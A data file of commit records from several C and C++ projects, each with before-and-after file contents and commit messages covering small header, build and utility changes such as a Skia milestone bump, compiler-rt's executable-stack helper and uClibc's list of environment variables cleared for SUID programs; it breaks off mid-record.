{"commit":"0c47b2bee26a859ef99a11a81feecee6aa8248f9","old_file":"src\/math.h","new_file":"src\/math.h","old_contents":"#ifndef G_EBKLRON9896QUFJSD3FNA40IITV3F\n#define G_EBKLRON9896QUFJSD3FNA40IITV3F\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\/*@self.public()*\/\n\nstatic const double CAL_PI = 3.141592653589793238462643383279502884197169399375;\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n","new_contents":"#ifndef G_EBKLRON9896QUFJSD3FNA40IITV3F\n#define G_EBKLRON9896QUFJSD3FNA40IITV3F\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\/*@self.public()*\/\n\n#ifndef M_PI\n#define M_PI 3.141592653589793238462643383279502884197169399375\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n","subject":"Define M_PI instead of CAL_PI","message":"Define M_PI instead of CAL_PI\n","lang":"C","license":"mit","repos":"Rufflewind\/calico,Rufflewind\/calico,Rufflewind\/calico"}
{"commit":"b70c1ec7f3a81a044b1e42c0f25b8d083810a177","old_file":"c\/boards\/arduino_uno\/riot_arduino_uno.c","new_file":"c\/boards\/arduino_uno\/riot_arduino_uno.c","old_contents":"#include \"riot_arduino_uno.h\"\n#include \"utils.h\"\n\nriot_arduino_uno_sinks* riot_arduino_uno_sinks_create() {\n  riot_arduino_uno_sinks *sinks = xmalloc(sizeof(riot_arduino_uno_sinks));\n  return sinks;\n}\n\nriot_arduino_uno_sources* riot_arduino_uno_sources_create() {\n  riot_arduino_uno_sources *sources = xmalloc(sizeof(riot_arduino_uno_sources));\n  return sources;\n};\n","new_contents":"#include \"riot_arduino_uno.h\"\n#include \"utils.h\"\n\nriot_arduino_uno_sinks* riot_arduino_uno_sinks_create() {\n  riot_arduino_uno_sinks *sinks = xmalloc(sizeof(riot_arduino_uno_sinks));\n  return sinks;\n}\n\nriot_arduino_uno_sources* riot_arduino_uno_sources_create() {\n  riot_arduino_uno_sources *sources = xmalloc(sizeof(riot_arduino_uno_sources));\n  return sources;\n};\n\nint riot_arduino_uno_run(riot_arduino_uno_main main) {\n  if(main == NULL) {\n    return -1;\n  }\n  riot_arduino_uno_sources *sources = riot_arduino_uno_sources_create();\n  if(sources == NULL) {\n    return -2;\n  }\n  riot_arduino_uno_sinks *sinks = main(sources);\n  if(sinks == NULL) {\n    return -3;\n  }\n  while(true) {\n    \/\/ TODO: Read all inputs and map to sources\n    \/\/ TODO: If all sinks\/outputs have completed, break\n  }\n  return 0;\n}\n","subject":"Add basic riot_run function definition","message":"Add basic riot_run function definition\n","lang":"C","license":"mit","repos":"artfuldev\/RIoT"}
{"commit":"028eec9dc1352855a8d0f1e6077decfdc653b208","old_file":"src\/SequenceLocation.h","new_file":"src\/SequenceLocation.h","old_contents":"#ifndef __SEQUENCELOCATION_H__\r\n#define __SEQUENCELOCATION_H__\r\n\r\n#include \"Types.h\"\r\n#include \"IRefProvider.h\"\r\n\r\n\/\/#pragma pack(push)\r\n\/\/#pragma pack(2)\r\n\r\nstruct SequenceLocation\r\n{\r\n\tuint m_Location;\r\n\tshort m_RefId;\r\n\r\n\tbool used() {\r\n\t\treturn m_Location != 0;\r\n\t}\r\n\r\n\tbool operator< (SequenceLocation const & rhs) const\r\n\t{\r\n\t\tif (m_Location < rhs.m_Location)\r\n\t\t\treturn true;\r\n\t\telse if (m_Location == rhs.m_Location)\r\n\t\t\treturn (m_RefId < rhs.m_RefId);\r\n\t\t\r\n\t\treturn false;\r\n\t}\r\n\r\n\tSequenceLocation() {\r\n\r\n\t}\r\n\r\n\tSequenceLocation(uint const loc, short const refid) {\r\n\t\tm_Location = loc;\r\n\t\tm_RefId = refid;\r\n\t}\r\n\r\n\tSequenceLocation(Location const & other) {\r\n\t\tm_Location = other.m_Location;\r\n\t}\r\n};\r\n\/\/#pragma pack(pop)\r\n\r\n#endif\r\n","new_contents":"#ifndef __SEQUENCELOCATION_H__\r\n#define __SEQUENCELOCATION_H__\r\n\r\n#include \"Types.h\"\r\n#include \"IRefProvider.h\"\r\n\r\n\/\/#pragma pack(push)\r\n\/\/#pragma pack(2)\r\n\r\nstruct SequenceLocation\r\n{\r\n\tuint m_Location;\r\n\tint m_RefId;\r\n\r\n\tbool used() {\r\n\t\treturn m_Location != 0;\r\n\t}\r\n\r\n\tbool operator< (SequenceLocation const & rhs) const\r\n\t{\r\n\t\tif (m_Location < rhs.m_Location)\r\n\t\t\treturn true;\r\n\t\telse if (m_Location == rhs.m_Location)\r\n\t\t\treturn (m_RefId < rhs.m_RefId);\r\n\t\t\r\n\t\treturn false;\r\n\t}\r\n\r\n\tSequenceLocation() {\r\n\r\n\t}\r\n\r\n\tSequenceLocation(uint const loc, short const refid) {\r\n\t\tm_Location = loc;\r\n\t\tm_RefId = refid;\r\n\t}\r\n\r\n\tSequenceLocation(Location const & other) {\r\n\t\tm_Location = other.m_Location;\r\n\t}\r\n};\r\n\/\/#pragma pack(pop)\r\n\r\n#endif\r\n","subject":"Fix for references with more than 32k sequences.","message":"Fix for references with more than 32k sequences.","lang":"C","license":"mit","repos":"philres\/ngmlr,philres\/ngmlr,philres\/ngmlr,philres\/ngmlr"}
{"commit":"b5703fa20995fc5dd01f9026f6259b2ceeadcdb1","old_file":"mini7digit.c","new_file":"mini7digit.c","old_contents":"\/*\n 1\n4 5\n 2\n6 7\n 3\n *\/\n\n#include <stdio.h>\n\nvoid line(char** a, int u, int v) {\n\tchar *c = a[1];\n\twhile(*c) {\n\t\tint y = (\"|O6VYNnX~^\")[*c++-48]+1;\n\t\t\n\t\tprintf(\"%c%c%c%c\",\n\t\t\t   y & u ?   '|' : 32,\n\t\t\t   y & v ?   '_' : 32,\n\t\t\t   y & u*2 ? '|' : 32,\n\t\t\t   c[0] ?    ' ' : '\\n');\n\t}\n}\n\nint main(int y, char **a) {\n\tline(a, 0, 1);\n\tline(a, 8, 2);\n\tline(a, 32, 4);\n\n\treturn 0;\n}\n\n","new_contents":"\/*\n 1\n4 5\n 2\n6 7\n 3\n *\/\n\n#include <stdio.h>\n\n#define L(u,v) \\\nfor(char *c = a[1];*c;) { \\\nprintf(\"%c%c%c%c\", \\\n\t   y & u ?   '|' : 32, \\\n\t   y & v ?   '_' : 32, \\\n\t   (y = (\"|O6VYNnX~^\")[*c++-48]+1) & u*2 ? '|' : 32, \\\n\t   c[1] ?    ' ' : '\\n'); \\\n};\n\nint main(int y, char **a) {\n\tL(0, 1);\n\tL(8, 2);\n\tL(32, 4);\n\n\treturn 0;\n}\n\n","subject":"Use a single call only (warning x86 only) Move the y assignment to another point in code","message":"Use a single call only (warning x86 only)\nMove the y assignment to another point in code\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"34bfe82ca656fcad46859c533d4f7b17cb4226ed","old_file":"frame.h","new_file":"frame.h","old_contents":"\/\/\n\/\/ Created by admarkov on 22.04.17.\n\/\/\n\n#ifndef FUNC_COMPOSER_FRAME_H\n#define FUNC_COMPOSER_FRAME_H\n\n#include <string>\ntypedef unsigned int index;\n\nvoid crash(char info[]=\"\") {\n    puts(\"Fatal error.\");\n    exit(0);\n}\n\n#endif \/\/FUNC_COMPOSER_FRAME_H\n","new_contents":"\/\/\n\/\/ Created by admarkov on 22.04.17.\n\/\/\n\n#ifndef FUNC_COMPOSER_FRAME_H\n#define FUNC_COMPOSER_FRAME_H\n\n#include <string>\nusing namespace std;\n\ntypedef unsigned int index;\n\nvoid crash(string info=\"No information.\") {\n    puts(\"Fatal error: \"+info);\n    exit(0);\n}\n\n#endif \/\/FUNC_COMPOSER_FRAME_H\n","subject":"Add error output for crash()","message":"Add error output for crash()\n","lang":"C","license":"mit","repos":"admarkov\/func_composer,admarkov\/func_composer"}
{"commit":"e6db6f62fd25e728c2efe15928cbaab095b71457","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 109\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 110\n#endif\n","subject":"Update Skia milestone to 110","message":"Update Skia milestone to 110\n\nChange-Id: I99decad5e458e0353dfba0737c6d527ff550ae2d\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/603820\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"c42b568053e800eb7205a4a8f8429b92aef8b0db","old_file":"disklist\/disklist.c","new_file":"disklist\/disklist.c","old_contents":"","new_contents":"\/*\n * disklist - List of disk and partitions using parted library\n *\n * Written in 2013 by Prashant P Shah <pshah.mumbai@gmail.com>\n *\n * To the extent possible under law, the author(s) have dedicated\n * all copyright and related and neighboring rights to this software\n * to the public domain worldwide. This software is distributed\n * without any warranty.\n *\n * You should have received a copy of the CC0 Public Domain Dedication\n * along with this software.\n * If not, see <http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/>.\n *\n * Usage :\n * $sudo apt-get install libparted0-dev\n * $gcc disklist.c -o disklist -lparted\n * $sudo .\/disklist\n *\/\n\n#include <stdio.h>\n#include <parted\/parted.h>\n\ntypedef struct {\n\tunsigned char system;\n} DosPartitionData;\n\nint main()\n{\n\tPedDevice *dev = NULL;\n\tPedDisk *disk = NULL;\n\tPedPartition *part = NULL;\n\tDosPartitionData *dos = NULL;\n\tchar *type_name;\n\n\tped_device_probe_all();\n\n\t\/* Loop through each physical disk *\/\n\twhile ((dev = ped_device_get_next (dev))) {\n\t\tprintf(\"%s\\n\", dev->path);\n\t\tif (!ped_device_open(dev))\n\t\t\tcontinue;\n\t\tdisk = ped_disk_new(dev);\n\t\tif (disk) {\n\t\t\t\/* Loop through each disk partition *\/\n\t\t\tfor (part = ped_disk_next_partition(disk, NULL); part;\n\t\t\t\t\tpart = ped_disk_next_partition(disk, part)) {\n\t\t\t\ttype_name = (char *)ped_partition_type_get_name(part->type);\n\t\t\t\t\/* Check if its a primary or logical partition *\/\n\t\t\t\tif (part->type == 0 || part->type == 1) {\n\t\t\t\t\tdos = (DosPartitionData *)part->disk_specific;\n\t\t\t\t\tprintf(\"num=%d type=%x fs_type=%s system=%x\\n\",\n\t\t\t\t\t\tpart->num, part->type, type_name, dos->system);\n\t\t\t\t} else {\n\t\t\t\t\tprintf(\"num=%d type=%x fs_type=%s\\n\",\n\t\t\t\t\t\tpart->num, part->type, type_name);\n\t\t\t\t}\n\t\t\t}\n\t\t\tped_disk_destroy(disk);\n\t\t}\n\t}\n        exit(0);\n}\n\n","subject":"Add listing disks and partitions program","message":"Add listing disks and partitions program\n\nSigned-off-by: Prashant Shah <80f978b5ac27fb318171799f0fb6a277863f2bf5@gmail.com>\n","lang":"C","license":"cc0-1.0","repos":"prashants\/c"}
{"commit":"98bfd42cf7a9dcd974071926232d0082fb80e1dc","old_file":"include\/CudaLE.h","new_file":"include\/CudaLE.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\n\/\/\/           \\file  CudaLE.h\n\/\/\/\n\/\/\/ __Description__:     Main include file for the CudaLE lib\n\/\/\/\n\/\/\/ __Version__:         1.0\\n\n\/\/\/ __Author__:          Alex Chen, fizban007@gmail.com\\n\n\/\/\/ __Organization__:    Columbia University\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef  _CUDALE_H_\n#define  _CUDALE_H_\n\n#include \"cudaControl.h\"\n#include \"Operators.h\"\n#include \"Variable.h\"\n#include \"Functions.h\"\n#include \"Derivative.h\"\n\n#ifndef DEFINE_FUNCTOR\n#define DEFINE_FUNCTOR(NAME, FUNCTOR)                    \\\n    private:                                             \\\n    typedef typeof(FUNCTOR) NAME ## _type;               \\\n    NAME ## _type defaultValue_ ## NAME () {             \\\n        return FUNCTOR;                                  \\\n    }                                                    \\\npublic:                                                  \\\nNAME ## _type NAME                         \n    \n#endif\n\n#endif   \/\/ ----- #ifndef _CUDALE_H_  ----- \n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\n\/\/\/           \\file  CudaLE.h\n\/\/\/\n\/\/\/ __Description__:     Main include file for the CudaLE lib\n\/\/\/\n\/\/\/ __Version__:         1.0\\n\n\/\/\/ __Author__:          Alex Chen, fizban007@gmail.com\\n\n\/\/\/ __Organization__:    Columbia University\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef  _CUDALE_H_\n#define  _CUDALE_H_\n\n#include \"cudaControl.h\"\n#include \"Operators.h\"\n#include \"Variable.h\"\n#include \"Functions.h\"\n#include \"Derivative.h\"\n\n#ifndef DEFINE_FUNCTOR\n#define DEFINE_FUNCTOR(NAME, FUNCTOR)                    \\\n    private:                                             \\\n    typedef __typeof__(FUNCTOR) NAME ## _type;               \\\n    NAME ## _type defaultValue_ ## NAME () {             \\\n        return FUNCTOR;                                  \\\n    }                                                    \\\npublic:                                                  \\\nNAME ## _type NAME                         \n    \n#endif\n\n#endif   \/\/ ----- #ifndef _CUDALE_H_  ----- \n","subject":"Make the macro play nice with clang","message":"Make the macro play nice with clang\n","lang":"C","license":"mit","repos":"fizban007\/CudaLE,fizban007\/CudaLE"}
{"commit":"72b5907f318972685252659ca191d63fbe2f352b","old_file":"lib\/enable_execute_stack.c","new_file":"lib\/enable_execute_stack.c","old_contents":"\/\/===-- enable_execute_stack.c - Implement __enable_execute_stack ---------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <stdint.h>\n#include <sys\/mman.h>\n\n\n\/\/\n\/\/ The compiler generates calls to __enable_execute_stack() when creating \n\/\/ trampoline functions on the stack for use with nested functions.\n\/\/ It is expected to mark the page(s) containing the address \n\/\/ and the next 48 bytes as executable.  Since the stack is normally rw-\n\/\/ that means changing the protection on those page(s) to rwx. \n\/\/\nvoid __enable_execute_stack(void* addr)\n{\n#if __APPLE__\n\t\/\/ On Darwin, pagesize is always 4096 bytes\n\tconst uintptr_t pageSize = 4096;\n#else\n\tabort();\n#endif\n\tconst uintptr_t pageAlignMask = ~(pageSize-1);\n\tuintptr_t p = (uintptr_t)addr;\n\tunsigned char* startPage = (unsigned char*)(p & pageAlignMask);\n\tunsigned char* endPage = (unsigned char*)((p+48+pageSize) & pageAlignMask);\n\tmprotect(startPage, endPage-startPage, PROT_READ | PROT_WRITE | PROT_EXEC);\n}\n\n\n","new_contents":"\/\/===-- enable_execute_stack.c - Implement __enable_execute_stack ---------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <stdint.h>\n#include <sys\/mman.h>\n\n\n\/\/\n\/\/ The compiler generates calls to __enable_execute_stack() when creating \n\/\/ trampoline functions on the stack for use with nested functions.\n\/\/ It is expected to mark the page(s) containing the address \n\/\/ and the next 48 bytes as executable.  Since the stack is normally rw-\n\/\/ that means changing the protection on those page(s) to rwx. \n\/\/\nvoid __enable_execute_stack(void* addr)\n{\n#if __APPLE__\n\t\/\/ On Darwin, pagesize is always 4096 bytes\n\tconst uintptr_t pageSize = 4096;\n#else\n        \/\/ FIXME: We should have a configure check for this.\n        const uintptr_t pagesize = getpagesize();\n#endif\n\tconst uintptr_t pageAlignMask = ~(pageSize-1);\n\tuintptr_t p = (uintptr_t)addr;\n\tunsigned char* startPage = (unsigned char*)(p & pageAlignMask);\n\tunsigned char* endPage = (unsigned char*)((p+48+pageSize) & pageAlignMask);\n\tmprotect(startPage, endPage-startPage, PROT_READ | PROT_WRITE | PROT_EXEC);\n}\n\n\n","subject":"Use getpagesize() on non-Darwin platforms. - Presumably we will eventually need configure magic for this stuff.","message":"Use getpagesize() on non-Darwin platforms.\n - Presumably we will eventually need configure magic for this stuff.\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@74586 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"e02046531c3e291aeb87a92918dda0f21bad9700","old_file":"libs\/compiler\/tables.h","new_file":"libs\/compiler\/tables.h","old_contents":"\/*\n *\tCopyright 2020 Andrey Terekhov, Maxim Menshikov\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#pragma once\n\n#include \"context.h\"\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n *\tSave up a string array to reprtab\n *\n *\t@param\tcontext\tRuC context\n *\t@param\tstr\t\tTarget string\n *\n *\t@return\tFIXME\n *\/\nint toreprtab(compiler_context *context, char str[]);\n\n\/**\n *\tMode table initialization\n *\n *\t@param\tcontext\tRuC context\n *\/\nvoid init_modetab(compiler_context *context);\n\n#ifdef __cplusplus\n} \/* extern \"C\" *\/\n#endif\n","new_contents":"\/*\n *\tCopyright 2020 Andrey Terekhov, Maxim Menshikov\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#pragma once\n\n#include \"context.h\"\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n *\tMode table initialization\n *\n *\t@param\tcontext\tRuC context\n *\/\nvoid init_modetab(compiler_context *context);\n\n#ifdef __cplusplus\n} \/* extern \"C\" *\/\n#endif\n","subject":"Remove useless interface of toreprtab","message":"Remove useless interface of toreprtab\n","lang":"C","license":"apache-2.0","repos":"andrey-terekhov\/RuC,andrey-terekhov\/RuC,andrey-terekhov\/RuC"}
{"commit":"176b9678afe004e1847e16c600f85120b3378dfd","old_file":"fast-xattr-test\/fast-xattr-test\/main.c","new_file":"fast-xattr-test\/fast-xattr-test\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  fast-xattr-test\n\/\/\n\/\/  Created by David Schlachter on 2015-07-09.\n\/\/  Copyright (c) 2015 David Schlachter. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <sys\/xattr.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n\nint main(int argc, const char * argv[]) {\n    \/\/char a[80];\n    \/\/strcpy(a, argv[1]);\n    const char *path = argv[1];\n    \n    \/\/char b[32];\n    \/\/strcpy(b, argv[2]);\n    const char *name = argv[2];\n    \n    int value[1];\n    \n    long rval = 0;\n    rval = getxattr(path, name, &value, sizeof(value), 0, 0);\n    int c = errno;\n    \n    if (rval != -1) {\n        return 0;\n    } else {\n        return 1;\n    };\n}\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  fast-xattr-test\n\/\/\n\/\/  Created by David Schlachter on 2015-07-09.\n\/\/  Copyright (c) 2015 David Schlachter. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <sys\/xattr.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n\nint main(int argc, const char * argv[]) {\n    \/\/char a[80];\n    \/\/strcpy(a, argv[2]);\n    const char *path = argv[1];\n    \n    \/\/char b[32];\n    \/\/strcpy(b, argv[1]);\n    const char *name = argv[2];\n    \n    int value[1];\n    \n    long rval = 0;\n    rval = getxattr(path, name, &value, sizeof(value), 0, 0);\n    int c = errno;\n    \n    if (rval != -1) {\n        return 0;\n    } else {\n        return 1;\n    };\n}\n","subject":"Set first argument to name, second to path","message":"Set first argument to name, second to path\n","lang":"C","license":"mit","repos":"davidschlachter\/fast-xattr-test"}
{"commit":"d0b6352558dfc24ff3d1e5a65d3811b065f9ca93","old_file":"CodeSamples\/UserTypeToString.h","new_file":"CodeSamples\/UserTypeToString.h","old_contents":"#pragma once\n\n#include <iostream>\n#include <string>\n\nclass UserTypeToString\n{\npublic:\n\tUserTypeToString(std::string name, int age, double netWorth);\n\t~UserTypeToString();\n\tfriend std::ostream& operator<<(std::ostream& os, const UserTypeToString& obj);\n\n\tstd::string name;\n\tint age;\n\tdouble netWorth;\n};\n\nstd::ostream& operator<<(std::ostream& os, const UserTypeToString& obj);\n\/\/{\n\/\/\t\/\/ write obj to stream\n\/\/\tos << \"name - \" << obj.name.c_str() << \"age - \" << obj.age << \"netWorth - \" << obj.netWorth << std::endl;\n\/\/\treturn os;\n\/\/}\n\n","new_contents":"#pragma once\n\n#include <iostream>\n#include <string>\n\nclass UserTypeToString\n{\npublic:\n\tUserTypeToString(std::string name, int age, double netWorth);\n\t~UserTypeToString();\n\tfriend std::ostream& operator<<(std::ostream& os, const UserTypeToString& obj);\n\n\tstd::string name;\n\tint age;\n\tdouble netWorth;\n};\n\n\/\/ Must be inline or defined in the .cpp and can't be a member of the class\nstd::ostream& operator<<(std::ostream& os, const UserTypeToString& obj);\n\n","subject":"Remove unneccesary code and add a comment to the declaration of operator<<","message":"Remove unneccesary code and add a comment to the declaration of operator<<\n","lang":"C","license":"mit","repos":"Shawn1874\/CodeSamples,Shawn1874\/CodeSamples,Shawn1874\/CodeSamples,Shawn1874\/CodeSamples"}
{"commit":"3d1939e899fdbb7d71998f33221e687b61c291af","old_file":"include\/HubFramework\/HUBHeaderMacros.h","new_file":"include\/HubFramework\/HUBHeaderMacros.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/\/\/ Macro that marks an initializer as designated, and also makes the default Foundation initializers unavailable\n#define HUB_DESIGNATED_INITIALIZER NS_DESIGNATED_INITIALIZER; \\\n    \/** Unavailable. Use the designated initializer instead *\/ \\\n    + (instancetype)new NS_UNAVAILABLE; \\\n    \/** Unavailable. Use the designated initializer instead *\/ \\\n    - (instancetype)init NS_UNAVAILABLE; \\\n    \/** Unavailable. Use the designated initializer instead *\/ \\\n    - (nullable instancetype)initWithCoder:(NSCoder *)aDecoder NS_UNAVAILABLE;\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/\/\/ Macro that marks an initializer as designated, and also makes the default Foundation initializers unavailable\n#define HUB_DESIGNATED_INITIALIZER NS_DESIGNATED_INITIALIZER; \\\n    \/** Unavailable. Use the designated initializer instead *\/ \\\n    + (instancetype)new NS_UNAVAILABLE; \\\n    \/** Unavailable. Use the designated initializer instead *\/ \\\n    - (instancetype)init NS_UNAVAILABLE; \\\n    \/** Unavailable. Use the designated initializer instead *\/ \\\n    - (nullable instancetype)initWithCoder:(NSCoder *)aDecoder NS_UNAVAILABLE;\n\n\/\/\/ This macro was introduced in Xcode 8, so adding this here for now (if not defined) to support Xcode 7 as well\n#ifndef NS_EXTENSIBLE_STRING_ENUM\n    #define NS_EXTENSIBLE_STRING_ENUM\n#endif\n","subject":"Define NS_EXTENSIBLE_STRING_ENUM if not defined","message":"Define NS_EXTENSIBLE_STRING_ENUM if not defined\n\nThis enables us to support building with Xcode 7.","lang":"C","license":"apache-2.0","repos":"spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework"}
{"commit":"bc7451295fc860956e4139133a73f203e8d8b099","old_file":"GatewayCore\/SubscriptionDataStore.h","new_file":"GatewayCore\/SubscriptionDataStore.h","old_contents":"","new_contents":"#ifndef SUBSCRIPTION_DATA_STORE_H\n#define SUBSCRIPTION_DATA_STORE_H\n\n#include <list>\n#include <string>\n\nclass SubscriptionDataStore {\npublic:\n  SubscriptionDataStore();\n  \n  std::list<std::string> getHandlersForType(const std::string &typeName);\n  void subscribe(const std::string &typeName, const std::string &handlerName);\n  void unsubscribe(const std::string &typeName, const std::string &handlerName);\n  \nprivate:\n  struct HandlerInfo {\n    std::string handlerName;\n    unsigned int referenceCount;\n  };\n  \n  struct SubscriptionItem {\n    std::string typeName;\n    std::vector<HandlerInfo> handlers;\n    std::map<std::string typeName, SubscriptionItem *> subtypes;\n    SubscriptionItem *parent;\n  };\n};\n\n#endif\n","subject":"Add header file for cross-gateway subscription data store","message":"Add header file for cross-gateway subscription data store\n","lang":"C","license":"mit","repos":"isis-ammo\/ammo-gateway,isis-ammo\/ammo-gateway,isis-ammo\/ammo-gateway,isis-ammo\/ammo-gateway,isis-ammo\/ammo-gateway,isis-ammo\/ammo-gateway"}
{"commit":"73649ffabcf481cc0e2f668062526931d5040901","old_file":"ldso\/include\/unsecvars.h","new_file":"ldso\/include\/unsecvars.h","old_contents":"\/* \n * Environment variable to be removed for SUID programs.  The names are all\n * stuffed in a single string which means they have to be terminated with a\n * '\\0' explicitly.\n *\/\n\n#define UNSECURE_ENVVARS \\\n\t\"LD_PRELOAD\\0\" \\\n\t\"LD_LIBRARY_PATH\\0\" \\\n\t\"LD_DEBUG\\0\" \\\n\t\"LD_DEBUG_OUTPUT\\0\" \\\n\t\"LD_TRACE_LOADED_OBJECTS\\0\" \\\n\t\"TMPDIR\\0\"\n\n\/* \n * LD_TRACE_LOADED_OBJECTS is not in glibc-2.3.5's unsecvars.h\n * though used by ldd\n *\n * These environment variables are defined by glibc but ignored in\n * uClibc, but may very well have an equivalent in uClibc.\n *\n * LD_ORIGIN_PATH, LD_PROFILE, LD_USE_LOAD_BIAS, LD_DYNAMIC_WEAK, LD_SHOW_AUXV,\n * GCONV_PATH, GETCONF_DIR, HOSTALIASES, LOCALDOMAIN, LOCPATH, MALLOC_TRACE,\n * NLSPATH, RESOLV_HOST_CONF, RES_OPTIONS, TMPDIR, TZDIR\n *\/\n","new_contents":"\/* \n * Environment variable to be removed for SUID programs.  The names are all\n * stuffed in a single string which means they have to be terminated with a\n * '\\0' explicitly.\n *\/\n\n#define UNSECURE_ENVVARS \\\n\t\"LD_PRELOAD\\0\" \\\n\t\"LD_LIBRARY_PATH\\0\" \\\n\t\"LD_DEBUG\\0\" \\\n\t\"LD_DEBUG_OUTPUT\\0\" \\\n\t\"LD_TRACE_LOADED_OBJECTS\\0\" \\\n\t\"TMPDIR\\0\"\n\n\/* \n * LD_TRACE_LOADED_OBJECTS is not in glibc-2.3.5's unsecvars.h\n * though used by ldd\n *\n * These environment variables are defined by glibc but ignored in\n * uClibc, but may very well have an equivalent in uClibc.\n *\n * LD_ORIGIN_PATH, LD_PROFILE, LD_USE_LOAD_BIAS, LD_DYNAMIC_WEAK, LD_SHOW_AUXV,\n * GCONV_PATH, GETCONF_DIR, HOSTALIASES, LOCALDOMAIN, LOCPATH, MALLOC_TRACE,\n * NLSPATH, RESOLV_HOST_CONF, RES_OPTIONS, TZDIR\n *\/\n","subject":"Remove TMPDIR from glibc's commented list","message":"Remove TMPDIR from glibc's commented 